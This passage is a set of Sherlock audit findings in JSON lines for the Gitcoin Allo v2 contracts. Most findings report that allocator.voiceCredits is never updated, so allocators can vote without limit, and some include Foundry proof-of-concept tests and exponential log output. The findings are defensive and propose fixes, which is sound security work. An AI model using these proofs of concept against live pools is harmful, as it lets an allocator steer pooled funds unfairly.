}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/281.md"}} +{"title":"QVSimpleStrategy allocator can use unlimited voice credits","severity":"medium","body":"Silly Carob Opossum\n\nhigh\n\n# QVSimpleStrategy allocator can use unlimited voice credits\nAny allocator can use an unlimited number of voice credits by calling the `allocate` function multiple times with `_voiceCreditsToAllocate` value not greater than `maxVoiceCreditsPerAllocator`.\n\n## Vulnerability Detail\n\nThe `QVBaseStrategy` contract does't clearly define the purpose of the `Allocator`'s property `voiceCredits`. From the definition, it seems that this value should determine the maximum number of votes that an allocator can use.\n\n```solidity\n/// @notice The details of the allocator\nstruct Allocator {\n // slot 0\n uint256 voiceCredits;\n // slots [1...n]\n mapping(address => uint256) voiceCreditsCastToRecipient;\n mapping(address => uint256) votesCastToRecipient;\n}\n```\n\nBut in `QVSimpleStrategy` contract this value is used as the number of votes that were used.\n\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n ...\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n ...\n}\n\nfunction _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n{\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n}\n```\n\nThe value of `voiceCredits` property doesn't change anywhere and is always equal to 0. Therefore, the check if there are any voice credits left will always pass if `_voiceCreditsToAllocate` is not greater than `maxVoiceCreditsPerAllocator`.\n\n## Impact\n\nAny allocator can use an unlimited number of voice credits and influence the results of allocation. Since an external (not a pool manager), untrusted address can act as an allocator, this problem is considered high.\n\n## POC\n\nAdd this test to `QVSimpleStrategyTest`, run with `forge test --mc QVSimpleStrategyTest --mt testPOC -v`.\n\n```solidity\nfunction testPOC() external {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.prank(pool_manager1());\n qvSimpleStrategy().addAllocator(allocator);\n\n vm.warp(allocationStartTime + 1);\n\n for (uint256 i; i < 100; i++) {\n bytes memory allocateData = __generateAllocation(recipientId, maxVoiceCreditsPerAllocator);\n vm.startPrank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, allocator);\n }\n}\n```\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L139-L146\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L499-L534\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L103-L124\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L140-L151\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n1. Clearly define the purpose of the property in the name.\n```solidity\n/// @notice The details of the allocator\nstruct Allocator {\n // slot 0\n uint256 allocatedVoiceCredits;\n // slots [1...n]\n mapping(address => uint256) voiceCreditsCastToRecipient;\n mapping(address => uint256) votesCastToRecipient;\n}\n```\n2. Update it's value when the `_qv_allocate` function is called.\n```solidity\nfunction _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n) internal onlyActiveAllocation {\n ...\n _allocator.voiceCredits += _voiceCreditsToAllocate;\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n ...\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/275.md"}} +{"title":"Repeated Vote Allocation Due to Missing Update of Allocator's Total Voice Credits in _qv_allocate Function.","severity":"medium","body":"Uneven Holographic Llama\n\nhigh\n\n# Repeated Vote Allocation Due to Missing Update of Allocator's Total Voice Credits in _qv_allocate Function.\nThe _qv_allocate function in the QVBaseStrategy contract does not properly update the allocator's total voice credits, allowing for repeated allocations.\n\n## Vulnerability Detail\nThe function _qv_allocate is responsible for allocating voice credits to a recipient. During this allocation, the function updates the number of votes and voice credits an allocator has allocated to a particular recipient. However, the function does not update the total voice credits used by the allocator, which means an allocator can allocate infinite voice credits.\n\nIn QVSimpleStrategy, the _allocate internal function allocates votes to a recipient. Before doing this allocation,\n the _hasVoiceCreditsLeft function is called to check if an allocator has enough voice credits left. This check relies on the _allocator.voiceCredits value, which should represent the total voice credits already used by the allocator. \nHowever, since _qv_allocate doesn't update this value when called, the check in _hasVoiceCreditsLeft becomes meaningless, as it won't account for votes already processed - allowing the allocator to allocate more voice credits than their limit.\n\n## Impact\n\nEven though the pool managers are trustworthy, the system doesn't really stop them from mistakenly sending duplicate transactions. This will distort voice credits distribution and create untruthy allocations.\n\n## Code Snippet\n\nNotice _allocate checks if the allocator still has voice credits left before doing the allocation.\n[_allocate:](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124)\n```solidity\n function _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\n_hasVoiceCreditsLeft utilizes the allocator's already accounted voiceCredits fetched from the allocators mapping in order to compute whether the newly allocated credits + the already allocated credits are not bigger than the maximum amount allowed per allocator.\n[_hasVoiceCreditsLeft](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151)\n```solidity\nfunction _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\nPassed the _hasVoiceCreditsLeft condition, the last call is _qv_allocate - in which it's expected to update allocator.voiceCredits by summing the new _voiceCreditsToAllocate. However this step doesn't happen.\n\n[_qv_allocate:](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534)\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate the _qv_allocate function to properly increment the total voice credits used by the allocator.\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n ...\n _allocator.voiceCredits += _voiceCreditsToAllocate;\n...\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/270.md"}} +{"title":"Allocators in QVSimpleStrategy can allocate far beyond the maxVoiceCreditsPerAllocator","severity":"medium","body":"Sneaky Amethyst Robin\n\nhigh\n\n# Allocators in QVSimpleStrategy can allocate far beyond the maxVoiceCreditsPerAllocator\n\n`allocator.voiceCredits` is never incremented, instead staying at 0 permanently. This allows allocators to allocate the `maxVoiceCreditsPerAllocator` over and over.\n\n## Vulnerability Detail\n\nAllocators are intended to have a limited amount of voice credits which they can allocate, enforced by `QVSimpleStrategy._hasVoiceCreditsLeft` which takes `allocator.voiceCredits` as a parameter to validate the total amount of credits used, including those to be used in the current execution, do not exceed `maxVoiceCreditsPerAllocator`. However, since `allocator.voiceCredits` is never changed, this limit is not enforced.\n\n## Impact\n\nAllocators can allocate the `maxVoiceCreditsPerAllocator` over and over without any limit.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L120\n```solidity\n// check that the recipient has voice credits left to allocate\nif (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n```\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144\n```solidity\nfunction _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n{\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`allocator.voiceCredits` should be incremented by the amount currently being allocated every time `_allocate` is called.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/243.md"}} +{"title":"Approved allocator can send as many votes as he wants to an accepted recipient","severity":"medium","body":"Mysterious Lava Lynx\n\nhigh\n\n# Approved allocator can send as many votes as he wants to an accepted recipient\nIn `QVSimpleStrategy.sol` an approved allocator can allocate votes to an accepted recipient. \n\n## Vulnerability Detail\n\nThe problem here is that an allocator can allocate as many votes as he wants since after he gave a recipient votes his `voiceCredits` doesn't **increase**. \n\nAllocator's struct: \n```solidity\n /// @notice The details of the allocator\n struct Allocator {\n uint256 voiceCredits;\n mapping(address => uint256) voiceCreditsCastToRecipient;\n mapping(address => uint256) votesCastToRecipient;\n }\n```\nWhen an allocator wants to allocate votes to a recipient he calls `allocate` on the `Allo.sol` contract, which then will call `_allocate` in `QVSimpleStrategy`:\n\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\n`_hasVoiceCreditsLeft` is used to check if an allocator has voiceCredits left. In `_allocate` above `_hasVoiceCreditsLeft` is used the following way: \n\n**first** param is the arbitrary amount an allocator wants to allocate.\n**second** param is the `allocator.voiceCredits`\n\nSo in order for an allocator to have `voiceCredits`, the sum between `voiceCreditsToAllocate` and `allocator.voiceCredits` **shouldn't** be bigger than the `maxVoiceCreditsPerAllocator`\n\n```solidity\nfunction _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\n\nThen `_qv_allocate` is called in `QVBaseStrategy.sol`:\n\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\n`_voiceCreditsToAllocate` is an arbitrary amount an allocator wishes to allocate to a recipient, as you can see the votes a recipient will receive are calculated like that: \n\n```solidity\nuint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n\nuint256 voteResult = _sqrt(totalCredits * 1e18);\n``` \n\nMeaning `_voiceCreditsToAllocate` is the arbitrary amount and `creditsCastToRecipient` is the already allocated votes to a recipient by the allocator. After that the `voteResult` is calculated. The problem here is that the allocator's `voiceCredits` are **not** increased by the `_voiceCreditsToAllocate`, which means that the `_hasVoiceCreditsLeft` check will always pass and allocator will have infinite amount of voiceCredits to allocate.\n\n## Impact\nAllocator can give an infinite amount of votes to a recipient\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIncrease the `voiceCredits` of the allocator with the amount he wishes to allocate a recipient","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/230.md"}} +{"title":"Allocator can bypass `maxVoiceCreditsPerAllocator` restriction","severity":"medium","body":"Tart Holographic Lion\n\nhigh\n\n# Allocator can bypass `maxVoiceCreditsPerAllocator` restriction\n\nBecause `allocator.voiceCredits` is never incremented by `voiceCreditsToAllocate`, an allocator can constantly allocate voice credits to a recipient without being stopped by the `maxVoiceCreditsPerAllocator` restriction. \n\n## Vulnerability Detail\n\nIn QVSimpleStrategy.sol, here is the check to see if an allocator can allocate more voice credits:\n\n`if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();`\n\n```solidity\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\n\nHowever, the issue is that `allocator.voiceCredits` is never incremented by `voiceCreditsToAllocate`, so as long as the `voiceCreditsToAllocate` passed in by the allocator is `<= maxVoiceCreditsPerAllocator`, this check will pass even if it's done multiple times. Thus, the allocator can call the allocation function with `voiceCreditsToAllocate = maxVoiceCreditsPerAllocator` multiple times, thus allocating way more voice credits than allowed, and they will never be stopped. \n\nSame issue with not incrementing `allocator.voiceCredits` seems to occur in `QVGovernanceERC20Votes.sol` as well. \n\n## Impact\n\nAn allocator for `QVSimpleStrategy` or `QVGovernanceERC20Votes` can allocate as many voice credits as they want, even though they should only be able to allocate up to `maxVoiceCreditsPerAllocator`. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L150\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAt some point, you should do `allocator.voiceCredits += voiceCreditsToAllocate`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/174.md"}} +{"title":"In QV strategy, allocators by default get infinite votes","severity":"medium","body":"Merry Punch Caterpillar\n\nhigh\n\n# In QV strategy, allocators by default get infinite votes\n\nThe variable `allocator.voiceCredits` tracking how many voice credits an allocator has already spent is never updated. This allows allocators to get infinite votes, letting the last mover send 100% of the pool to the recipient of their choice.\n\nThis is separate from another bug where an incorrect formula allows allocators exponentially-but-not-infinitely many votes. If this bug is fixed, the other one will still be there, and vice versa.\n\n## Vulnerability Detail\n\nSee summary.\n\nNote that, once a pool is funded, there is no way to withdraw the funds other than by distributing it to the winners.\n\n## Impact\n\nThe QV voting mechanism becomes meaningless; the last mover gets 100%\n\n## Code Snippet\n\nSee the lack of update to `allocator.voiceCredits`: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\nSee how the check for whether an allocator can allocate votes is `voiceCreditsToAllocate + allocator.voiceCredits <= maxVoiceCreditsPerAllocator`, meaning that allocate() can be called repeatedly with `maxVoiceCreditsPerAllocator` each time.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L150C68-L150C95\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate allocator.voiceCredits in _qv_allocate.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/168.md"}} +{"title":"`QVSimpleStrategy` never updates `allocator.voiceCredits`.","severity":"medium","body":"Clever Metal Giraffe\n\nhigh\n\n# `QVSimpleStrategy` never updates `allocator.voiceCredits`.\n\nEvery allocator in `QVSimpleStrategy` has a maximum credit limit. An allocator should not be able to bypass the limit. However, `QVSimpleStrategy` fails to record the allocated votes. An allocator can vote as many as possible.\n\n## Vulnerability Detail\n\n`QVSimpleStrategy._allocate` calls `_hasVoiceCreditsLeft` to check that the recipient has voice credits left to allocate.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\n```solidity\n function _allocate(bytes memory _data, address _sender) internal virtual override {\n ā€¦\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\n\n`QVSimpleStrategy._hasVoiceCreditsLeft` checks ` _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144\n```solidity\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\n\nThe problem is that `allocator.voiceCredits` is always zero. Both `QVSimpleStrategy` and `QVBaseStrategy` don't update `allocator.voiceCredits`. Thus, allocators can cast more votes than `maxVoiceCreditsPerAllocator`.\n\n## Impact\n\nEvery allocator has an unlimited number of votes.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdates `allocator.voiceCredits` in `QVSimpleStrategy._allocate`.\n\n```diff\n function _allocate(bytes memory _data, address _sender) internal virtual override {\n ā€¦\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n+ allocator.voiceCredits += voiceCreditsToAllocate;\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/150-best.md"}} +{"title":"Any allocator can call allocate infinitely","severity":"medium","body":"Early Vinyl Mouse\n\nhigh\n\n# Any allocator can call allocate infinitely\nAny allocator can allocate voice credits to members indefinitely, which may cause a malicious allocator to withdraw most of the fund pool.\n## Vulnerability Detail\nIn the `voiceCredits` of the structure `Allocator` in the contract `QVBaseStrategy.sol`, the contract has not changed it anywhere. According to the explanation of the document, this is a voice credit that the allocator can allocate, but in fact voiceCredits does not have this It works and affects the function so that this function only checks the amount of voice credits allocated each time.\n\n```solidity\n /// @notice Checks if the allocator has voice credits left\n /// @param _voiceCreditsToAllocate The voice credits to allocate\n /// @param _allocatedVoiceCredits The allocated voice credits\n /// @return true if the allocator has voice credits left\n function _hasVoiceCreditsLeft(\n uint256 _voiceCreditsToAllocate,\n uint256 _allocatedVoiceCredits\n ) internal view override returns (bool) {\n return\n _voiceCreditsToAllocate + _allocatedVoiceCredits <=\n maxVoiceCreditsPerAllocator;\n }\n```\n## poc\n```solidity\n function setUp() public override {\n maxVoiceCreditsPerAllocator = 100;\n super.setUp();\n }\n\n function getAllocatorsVoiceCredits(\n address sender\n ) public returns (uint256) {\n return allocators[sender].voiceCredits;\n }\n\n function getAllocatorsVoiceCreditsCastToRecipient(\n address sender,\n address recipient\n ) public returns (uint256) {\n return allocators[sender].voiceCreditsCastToRecipient[recipient];\n }\n\n function test_allocate_maxVoiceCreditsPerAllocator() public {\n // set voiceCredits is 10, batch alloc 100\n address recipientId1 = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n vm.stopPrank();\n\n bytes memory allocateData1 = __generateAllocation(recipientId1, 4);\n vm.startPrank(address(allo()));\n vm.warp(allocationStartTime + 1);\n uint256 i = 0;\n for (i; i < 30; i++) {\n qvSimpleStrategy().allocate(allocateData1, allocator);\n uint256 recepient1_voiceCredits = qvSimpleStrategy()\n .getAllocatorsVoiceCredits(allocator);\n uint256 recepient1_voiceCreditsCastToRecipient = qvSimpleStrategy()\n .getAllocatorsVoiceCreditsCastToRecipient(\n allocator,\n recipientId1\n );\n console.log(\"index:%s\", i);\n console.log(\n \"recepient1: %s \\n recepient1_voiceCredits:%s \\n recepient1_voiceCreditsCastToRecipient:%s\",\n recipientId1,\n recepient1_voiceCredits,\n recepient1_voiceCreditsCastToRecipient\n );\n }\n uint256 a = qvSimpleStrategy().allocators[allocator].voiceCredits;\n }\n```\nresult:\n```txt\nLogs:\n index:0\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:4\n index:1\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:12\n index:2\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:28\n index:3\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:60\n index:4\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:124\n index:5\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:252\n index:6\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:508\n index:7\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:1020\n index:8\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:2044\n index:9\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:4092\n index:10\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:8188\n index:11\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:16380\n index:12\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:32764\n index:13\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:65532\n index:14\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:131068\n index:15\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:262140\n index:16\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:524284\n index:17\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:1048572\n index:18\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:2097148\n index:19\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:4194300\n index:20\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:8388604\n index:21\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:16777212\n index:22\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:33554428\n index:23\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:67108860\n index:24\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:134217724\n index:25\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:268435452\n index:26\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:536870908\n index:27\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:1073741820\n index:28\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:2147483644\n index:29\n recepient1: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff \n recepient1_voiceCredits:0 \n recepient1_voiceCreditsCastToRecipient:4294967292\n```\n\n## Impact\nPossibly stealing most of the funds in the pool\n## Code 